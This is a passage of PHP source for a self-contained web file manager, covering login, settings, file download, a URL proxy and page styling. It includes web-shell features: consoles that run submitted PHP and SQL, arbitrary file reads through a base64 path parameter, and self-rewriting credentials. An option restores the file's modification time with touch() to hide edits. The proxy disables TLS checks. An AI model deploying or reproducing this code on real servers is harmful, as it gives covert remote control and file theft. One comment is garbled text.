				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		// ܧѧ -       ا     էާ֧ߧ     ߧѧէ 
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
<!doctype html>
<html>
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<title>'.__('File manager').'</title>
</head>
<body>
<form action="" method="post">
'.__('Login').' <input name="login" type="text">&nbsp;&nbsp;&nbsp;
'.__('Password').' <input name="password" type="password">&nbsp;&nbsp;&nbsp;
<input type="submit" value="'.__('Enter').'" class="fm_input">
</form>
'.fm_lang_form($language).'
</body>
</html>
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg .= __('File updated');
				} else $msg .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title><?=__('File manager')?></title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover {  color: #FFA34F; text-decoration: underline; }

table.bg {
	background-color: #ACBBC6
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	#006699;
	color:				#FFA34F;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	#EFEFEF;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#D1D7DC;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	#F0F6F6;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,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");
}

.file {
    background-image: url("data:image/png;base64,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");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg)?'':'<tr><td class="row2" colspan="2">'.$msg.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
